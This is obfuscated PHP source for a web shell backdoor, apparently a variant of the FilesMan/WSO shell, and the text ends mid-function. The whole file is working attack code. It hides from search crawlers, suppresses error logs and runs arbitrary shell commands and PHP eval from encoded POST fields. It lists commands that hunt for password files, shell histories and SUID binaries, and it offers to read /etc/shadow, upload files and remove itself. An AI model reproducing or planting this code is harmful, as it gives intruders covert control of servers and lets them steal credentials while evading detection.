$wsrzznnbjwuk = "f264642858f71ffc813ba06b8d442e5aed9f31ab98d68c6ccfa2d70a77cd8906";
$rpzngvwsvv = "#df5";
$npuhyomlnmo = 'FilesMan';
$xwnlxtfgok = true;
$elzfveuc = 'UTF-8';
$ygcncxsgvqz = md5($_SERVER['HTTP_USER_AGENT']);
if (empty($_POST['ynqwlx'])) {
$_POST['ynqwlx'] = $elzfveuc;
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"])) {
myqoxc(md5($_SERVER['HTTP_HOST']) . "lefbbb", $ygcncxsgvqz);
}
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$gcporfbf = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $gcporfbf) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
if (!isset($_POST['saozgb'])) {
if (isset($_POST['hmcqz'])) {
$_POST['hmcqz'] = iconv("utf-8", $_POST['ynqwlx'], myxaltx($_POST['hmcqz'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"]));
}
if (isset($_POST['lhdjx'])) {
$_POST['lhdjx'] = iconv("utf-8", $_POST['ynqwlx'], myxaltx($_POST['lhdjx'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"]));
}
if (isset($_POST['ffbul'])) {
$_POST['ffbul'] = iconv("utf-8", $_POST['ynqwlx'], myxaltx($_POST['ffbul'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"]));
}
if (isset($_POST['lcwvds'])) {
$_POST['lcwvds'] = iconv("utf-8", $_POST['ynqwlx'], myxaltx($_POST['lcwvds'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"]));
}
if (isset($_POST['czqrjt'])) {
$_POST['czqrjt'] = iconv("utf-8", $_POST['ynqwlx'], myxaltx($_POST['czqrjt'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"]));
}
}
function myxaltx($qhrorxm, $xnxmxwl) {
$xnxmxwl = base64_encode($xnxmxwl);
$qhrorxm = base64_decode($qhrorxm);
$ruefmpih = "";
$gfjqtyksj = "";
$eygfyajeuybn = 0;
while ($eygfyajeuybn < strlen($qhrorxm)) {
for ($cxgixixeet = 0; $cxgixixeet < strlen($xnxmxwl); $cxgixixeet++) {
$ruefmpih = chr(ord($qhrorxm[$eygfyajeuybn]) ^ ord($xnxmxwl[$cxgixixeet]));
$gfjqtyksj .= $ruefmpih;
$eygfyajeuybn++;
if ($eygfyajeuybn >= strlen($qhrorxm)) {
break;
}
}
}
return base64_decode($gfjqtyksj);
}
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
@set_magic_quotes_runtime(0);
}
if (version_compare(PHP_VERSION, '7.4.0', '<')) {
if (get_magic_quotes_gpc()) {
function jkjsw($wiwwjznto) {
return is_array($wiwwjznto) ? array_map('jkjsw', $wiwwjznto) : stripslashes($wiwwjznto);
}
$_POST = jkjsw($_POST);
$_COOKIE = jkjsw($_COOKIE);
}
}
function qqrrqhn() {
die("<form method=post><input type=password name=pass><input type=submit value='>>'></form>");
}
function myqoxc($zmrwtppuhlpa, $iluedgpe) {
$_COOKIE[$zmrwtppuhlpa] = $iluedgpe;
setcookie($zmrwtppuhlpa, $iluedgpe);
}
if (!empty($wsrzznnbjwuk)) {
if (isset($_POST['pass']) && (hash('gost', $_POST['pass']) == $wsrzznnbjwuk)) {
myqoxc(md5($_SERVER['HTTP_HOST']), $wsrzznnbjwuk);
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $wsrzznnbjwuk)) {
qqrrqhn();
}
}
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
$fndcta = 'win';
} else {
$fndcta = 'nix';
}
$qpeymuaweip = @ini_get('safe_mode');
if (!$qpeymuaweip) {
error_reporting(0);
}
$dsyrdynyvm = @ini_get('disable_functions');
$crjvjne = @getcwd();
if (isset($_POST['lhdjx'])) {
@chdir($_POST['lhdjx']);
}
$bihqwrzauo = @getcwd();
if ($fndcta == 'win') {
$crjvjne = str_replace("\\", "/", $crjvjne);
$bihqwrzauo = str_replace("\\", "/", $bihqwrzauo);
}
if ($bihqwrzauo[strlen($bihqwrzauo) - 1] != '/') {
$bihqwrzauo .= '/';
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$xwnlxtfgok;
}
if ($fndcta == 'win') {
$dbkymywlvvmg = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
} else {
$dbkymywlvvmg = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" => "locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files" => "locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
function alztgq() {
if (empty($_POST['ynqwlx'])) {
$_POST['ynqwlx'] = $GLOBALS['elzfveuc'];
}
global $rpzngvwsvv;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['ynqwlx'] . "'><link rel='icon' type='image/png' sizes='1x1' href='data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOU1Hu5HQADgQHplQbXNQAAAABJRU5ErkJggg==' /><title>" . $_SERVER['HTTP_HOST'] . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $rpzngvwsvv !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $rpzngvwsvv;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $rpzngvwsvv; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['bihqwrzauo']) . "';
var a_ = '" . htmlspecialchars(@$_POST['hmcqz']) . "'
var charset_ = '" . htmlspecialchars(@$_POST['ynqwlx']) . "';
var p1_ = '" . ((strpos(@$_POST['ffbul'], "\n") !== false) ? '' : htmlspecialchars($_POST['ffbul'], ENT_QUOTES)) . "';
var p2_ = '" . ((strpos(@$_POST['lcwvds'], "\n") !== false) ? '' : htmlspecialchars($_POST['lcwvds'], ENT_QUOTES)) . "';
var p3_ = '" . ((strpos(@$_POST['czqrjt'], "\n") !== false) ? '' : htmlspecialchars($_POST['czqrjt'], ENT_QUOTES)) . "';
var d = document;
function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.viwyzi.hmcqz.value=a;else d.viwyzi.hmcqz.value=a_;
if(c!=null)d.viwyzi.lhdjx.value=c;else d.viwyzi.lhdjx.value=c_;
if(p1!=null)d.viwyzi.ffbul.value=p1;else d.viwyzi.ffbul.value=p1_;
if(p2!=null)d.viwyzi.lcwvds.value=p2;else d.viwyzi.lcwvds.value=p2_;
if(p3!=null)d.viwyzi.czqrjt.value=p3;else d.viwyzi.czqrjt.value=p3_;
d.viwyzi.hmcqz.value = encrypt(d.viwyzi.hmcqz.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"] . "');
d.viwyzi.lhdjx.value = encrypt(d.viwyzi.lhdjx.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"] . "');
d.viwyzi.ffbul.value = encrypt(d.viwyzi.ffbul.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"] . "');
d.viwyzi.lcwvds.value = encrypt(d.viwyzi.lcwvds.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"] . "');
d.viwyzi.czqrjt.value = encrypt(d.viwyzi.czqrjt.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"] . "');
if(charset!=null)d.viwyzi.ynqwlx.value=charset;else d.viwyzi.ynqwlx.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.viwyzi.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'lbci=true';
for(i=0;i<d.viwyzi.elements.length;i++)
params += '&'+d.viwyzi.elements[i].name+'='+encodeURIComponent(d.viwyzi.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=viwyzi style='display:none;'>
<input type=hidden name=hmcqz>
<input type=hidden name=lhdjx>
<input type=hidden name=ffbul>
<input type=hidden name=lcwvds>
<input type=hidden name=czqrjt>
<input type=hidden name=ynqwlx>
</form>";
$sybqohszfklo = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['bihqwrzauo']) : null;
$wtmjhyistdp = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['bihqwrzauo']) : null;
$wtmjhyistdp = $wtmjhyistdp ? $wtmjhyistdp : 1;
$kigumh = @php_uname('r');
$dtkfea = @php_uname('s');
$ynpuwidvc = 'http://exploit-db.com/search/?action=search&filter_description=';
if (strpos('Linux', $dtkfea) !== false) {
$ynpuwidvc .= urlencode('Linux Kernel ' . substr($kigumh, 0, 6));
} else {
$ynpuwidvc .= urlencode($dtkfea . ' ' . substr($kigumh, 0, 3));
}
if (!function_exists('posix_getegid')) {
$hawusifxb = @get_current_user();
$rmgsozt = @getmyuid();
$onwywaxl = @getmygid();
$mkcnfypi = "?";
} else {
$rmgsozt = (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) ? @posix_getpwuid(posix_geteuid()) : '?';
//$rmgsozt = @posix_getpwuid(posix_geteuid());
$onwywaxl = (function_exists('posix_getgrgid') && function_exists('posix_getegid')) ? @posix_getgrgid(posix_getegid()) : '?';
//$onwywaxl = @posix_getgrgid(posix_getegid());
$hawusifxb = is_array($rmgsozt) ? $rmgsozt['name'] : '?';
$rmgsozt = is_array($rmgsozt) ? $rmgsozt['uid'] : '?';
$mkcnfypi = is_array($onwywaxl) ? $onwywaxl['name'] : '?';
$onwywaxl = is_array($onwywaxl) ? $onwywaxl['gid'] : '?';
}
$objinvlt = '';
$puyhtcdhk = explode("/", $GLOBALS['bihqwrzauo']);
$yprkxrmazcu = count($puyhtcdhk);
for ($eygfyajeuybn = 0; $eygfyajeuybn < $yprkxrmazcu - 1; $eygfyajeuybn++) {
$objinvlt .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($cxgixixeet = 0; $cxgixixeet <= $eygfyajeuybn; $cxgixixeet++) {
$objinvlt .= $puyhtcdhk[$cxgixixeet] . '/';
}
$objinvlt .= "\")'>" . $puyhtcdhk[$eygfyajeuybn] . "/</a>";
}
$hnyvvneeugxl = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$ntxzkzudxwv = '';
foreach ($hnyvvneeugxl as $debftntcuku) {
$ntxzkzudxwv .= '<option value="' . $debftntcuku . '" ' . ($_POST['ynqwlx'] == $debftntcuku ? 'selected' : '') . '>' . $debftntcuku . '</option>';
}
$ckwoxhrab = array(
'Sec. Info' => 'SecInfo',
'Files' => 'FilesMan',
'Console' => 'Console',
'Php' => 'Php',
'String tools' => 'StringTools',
'Network' => 'Network'
);
if (!empty($GLOBALS['wsrzznnbjwuk'])) {
$ckwoxhrab['Logout'] = 'Logout';
}
$ckwoxhrab['Self remove'] = 'SelfRemove';
$zgkewiyytsy = '';
foreach ($ckwoxhrab as $zmrwtppuhlpa => $iluedgpe) {
$zgkewiyytsy .= '<th width="' . (int)(100 / count($ckwoxhrab)) . '%">[ <a href="#" onclick="g(\'' . $iluedgpe . '\',null,\'\',\'\',\'\')">' . $zmrwtppuhlpa . '</a> ]</th>';
}
$xekqxdadv = "";
if ($GLOBALS['fndcta'] == 'win') {
foreach (range('c', 'z') as $tokkrkovcfi) {
if (is_dir($tokkrkovcfi . ':\\')) {
$xekqxdadv .= '<a href="#" onclick="g(\'FilesMan\',\'' . $tokkrkovcfi . ':/\')">[ ' . $tokkrkovcfi . ' ]</a> ';
}
}
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['fndcta'] == 'win' ? '<br>Drives:' : '') . '</span></td><td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $ynpuwidvc . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $rmgsozt . ' ( ' . $hawusifxb . ' ) <span>Group:</span> ' . $onwywaxl . ' ( ' . $mkcnfypi . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['qpeymuaweip'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . bbxcarbwi($wtmjhyistdp) . ' <span>Free:</span> ' . bbxcarbwi($sybqohszfklo) . ' (' . (int)($sybqohszfklo / $wtmjhyistdp * 100) . '%)<br>' . $objinvlt . ' ' . dezqo($GLOBALS['bihqwrzauo']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['crjvjne'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $xekqxdadv . '</td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $ntxzkzudxwv . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $zgkewiyytsy . '</tr></table><div style="margin:5">';
}
function gghivb() {
$upvatcsh = is_writable($GLOBALS['bihqwrzauo']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['bihqwrzauo']) . "'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$upvatcsh<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$upvatcsh<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=hmcqz value='" . wpzmyig('FilesMan') . "'>
<input type=hidden name=lhdjx value='" . wpzmyig($GLOBALS['bihqwrzauo']) . "'>
<input type=hidden name=ffbul value='" . wpzmyig('uploadFile') . "'>
<input type=hidden name=ynqwlx value='" . (isset($_POST['ynqwlx']) ? wpzmyig($_POST['ynqwlx']) : '') . "'>
<span>Upload file:</span>$upvatcsh<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") || (strpos(ini_get('disable_functions'), 'posix_getpwuid') !== false)) {
function posix_getpwuid($honvikua) {
return false;
}
}
if (!function_exists("posix_getgrgid") || (strpos(ini_get('disable_functions'), 'posix_getgrgid') !== false)) {
function posix_getgrgid($honvikua) {
return false;
}
}
function wyspra($uvasvc) {
$ukfiydgpn = '';
if (function_exists('exec')) {
@exec($uvasvc, $ukfiydgpn);
$ukfiydgpn = @join("\n", $ukfiydgpn);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($uvasvc);
$ukfiydgpn = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($uvasvc);
$ukfiydgpn = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$ukfiydgpn = shell_exec($uvasvc);
} elseif (function_exists('popen') && is_resource($kegikgz = @popen($uvasvc, "r"))) {
$ukfiydgpn = "";
while (!@feof($kegikgz)) {
$ukfiydgpn .= fread($kegikgz, 1024);
}
pclose($kegikgz);
}
return $ukfiydgpn;
}
function bbxcarbwi($asggyyfoe) {
if (is_int($asggyyfoe)) {
$asggyyfoe = sprintf("%u", $asggyyfoe);
}
if ($asggyyfoe >= 1073741824) {
return sprintf('%1.2f', $asggyyfoe / 1073741824) . ' GB';
} elseif ($asggyyfoe >= 1048576) {
return sprintf('%1.2f', $asggyyfoe / 1048576) . ' MB';
} elseif ($asggyyfoe >= 1024) {
return sprintf('%1.2f', $asggyyfoe / 1024) . ' KB';
} else {
return $asggyyfoe . ' B';
}
}
function bxzqyy($honvikua) {
if (($honvikua & 0xC000) == 0xC000) {
$eygfyajeuybn = 's';
} elseif (($honvikua & 0xA000) == 0xA000) {
$eygfyajeuybn = 'l';
} elseif (($honvikua & 0x8000) == 0x8000) {
$eygfyajeuybn = '-';
} elseif (($honvikua & 0x6000) == 0x6000) {
$eygfyajeuybn = 'b';
} elseif (($honvikua & 0x4000) == 0x4000) {
$eygfyajeuybn = 'd';
} elseif (($honvikua & 0x2000) == 0x2000) {
$eygfyajeuybn = 'c';
} elseif (($honvikua & 0x1000) == 0x1000) {
$eygfyajeuybn = 'p';
} else {
$eygfyajeuybn = 'u';
}
$eygfyajeuybn .= (($honvikua & 0x0100) ? 'r' : '-');
$eygfyajeuybn .= (($honvikua & 0x0080) ? 'w' : '-');
$eygfyajeuybn .= (($honvikua & 0x0040) ? (($honvikua & 0x0800) ? 's' : 'x') : (($honvikua & 0x0800) ? 'S' : '-'));
$eygfyajeuybn .= (($honvikua & 0x0020) ? 'r' : '-');
$eygfyajeuybn .= (($honvikua & 0x0010) ? 'w' : '-');
$eygfyajeuybn .= (($honvikua & 0x0008) ? (($honvikua & 0x0400) ? 's' : 'x') : (($honvikua & 0x0400) ? 'S' : '-'));
$eygfyajeuybn .= (($honvikua & 0x0004) ? 'r' : '-');
$eygfyajeuybn .= (($honvikua & 0x0002) ? 'w' : '-');
$eygfyajeuybn .= (($honvikua & 0x0001) ? (($honvikua & 0x0200) ? 't' : 'x') : (($honvikua & 0x0200) ? 'T' : '-'));
return $eygfyajeuybn;
}
function dezqo($kegikgz) {
if (!@is_readable($kegikgz)) {
return '<font color=#FF0000>' . bxzqyy(@fileperms($kegikgz)) . '</font>';
} elseif (!@is_writable($kegikgz)) {
return '<font color=white>' . bxzqyy(@fileperms($kegikgz)) . '</font>';
} else {
return '<font color=#25ff00>' . bxzqyy(@fileperms($kegikgz)) . '</font>';
}
}
function himldq($fgfrwvmti) {
if (function_exists("scandir")) {
return scandir($fgfrwvmti);
} else {
$xhtgtiaqhqep = opendir($fgfrwvmti);
while (false !== ($jhktlgegy = readdir($xhtgtiaqhqep))) {
$ujnlegbk[] = $jhktlgegy;
}
return $ujnlegbk;
}
}
function zaphzomlx($honvikua) {
$puyhtcdhk = wyspra('which ' . $honvikua);
if (!empty($puyhtcdhk)) {
return $puyhtcdhk;
}
return false;
}
function actionSecInfo() {
alztgq();
echo '<h1>Server security information</h1><div class=content>';
function yyvxdw($yprkxrmazcu, $iluedgpe) {
$iluedgpe = trim($iluedgpe);
if ($iluedgpe) {
echo '<span>' . $yprkxrmazcu . ': </span>';
if (strpos($iluedgpe, "\n") === false) {
echo $iluedgpe . '<br>';
} else {
echo '<pre class=ml1>' . $iluedgpe . '</pre>';
}
}
}
yyvxdw('Server software', @getenv('SERVER_SOFTWARE'));
if (function_exists('apache_get_modules')) {
yyvxdw('Loaded Apache modules', implode(', ', apache_get_modules()));
}
yyvxdw('Disabled PHP Functions', $GLOBALS['dsyrdynyvm'] ? $GLOBALS['dsyrdynyvm'] : 'none');
yyvxdw('Open base dir', @ini_get('open_basedir'));
yyvxdw('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
yyvxdw('Safe mode include dir', @ini_get('safe_mode_include_dir'));
yyvxdw('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
$juhozyempeo = array();
if (function_exists('mysql_get_client_info')) {
$juhozyempeo[] = "MySql (" . mysql_get_client_info() . ")";
}
if (function_exists('mssql_connect')) {
$juhozyempeo[] = "MSSQL";
}
if (function_exists('pg_connect')) {
$juhozyempeo[] = "PostgreSQL";
}
if (function_exists('oci_connect')) {
$juhozyempeo[] = "Oracle";
}
yyvxdw('Supported databases', implode(', ', $juhozyempeo));
echo '<br>';
if ($GLOBALS['fndcta'] == 'nix') {
yyvxdw('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
yyvxdw('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
yyvxdw('OS version', @file_get_contents('/proc/version'));
yyvxdw('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['qpeymuaweip']) {
$xyfsmpuhfz = array(
'gcc',
'lcc',
'cc',
'ld',
'make',
'php',
'perl',
'python',
'ruby',
'tar',
'gzip',
'bzip',
'bzip2',
'nc',
'locate',
'suidperl'
);
$lxkfwacyvxbg = array(
'kav',
'nod32',
'bdcored',
'uvscan',
'sav',
'drwebd',
'clamd',
'rkhunter',
'chkrootkit',
'iptables',
'ipfw',
'tripwire',
'shieldcc',
'portsentry',
'snort',
'ossec',
'lidsadm',
'tcplodg',
'sxid',
'logcheck',
'logwatch',
'sysmask',
'zmbscap',
'sawmill',
'wormscan',
'ninja'
);
$lydjxwzjhfb = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
echo '<br>';
$juhozyempeo = array();
foreach ($xyfsmpuhfz as $debftntcuku) {
if (zaphzomlx($debftntcuku)) {
$juhozyempeo[] = $debftntcuku;
}
}
yyvxdw('Userful', implode(', ', $juhozyempeo));
$juhozyempeo = array();
foreach ($lxkfwacyvxbg as $debftntcuku) {
if (zaphzomlx($debftntcuku)) {
$juhozyempeo[] = $debftntcuku;
}
}
yyvxdw('Danger', implode(', ', $juhozyempeo));
$juhozyempeo = array();
foreach ($lydjxwzjhfb as $debftntcuku) {
if (zaphzomlx($debftntcuku)) {
$juhozyempeo[] = $debftntcuku;
}
}
yyvxdw('Downloaders', implode(', ', $juhozyempeo));
echo '<br/>';
yyvxdw('HDD space', wyspra('df -h'));
yyvxdw('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset($_POST['lcwvds'], $_POST['czqrjt']) && is_numeric($_POST['lcwvds']) && is_numeric($_POST['czqrjt'])) {
$juhozyempeo = "";
for (; $_POST['lcwvds'] <= $_POST['czqrjt']; $_POST['lcwvds']++) {
$rmgsozt = @posix_getpwuid($_POST['lcwvds']);
if ($rmgsozt) {
$juhozyempeo .= join(':', $rmgsozt) . "\n";
}
}
echo '<br/>';
yyvxdw('Users', $juhozyempeo);
}
}
} else {
yyvxdw('OS Version', wyspra('ver'));
yyvxdw('Account Settings', wyspra('net accounts'));
yyvxdw('User Accounts', wyspra('net user'));
}
echo '</div>';
gghivb();
}
function actionPhp() {
if (isset($_POST['lbci'])) {
myqoxc(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['ffbul']);
$juhozyempeo = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($juhozyempeo), "\n", $juhozyempeo;
exit;
}
if (empty($_POST['lbci']) && !empty($_POST['ffbul'])) {
myqoxc(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
alztgq();
if (isset($_POST['lcwvds']) && ($_POST['lcwvds'] == 'info')) {
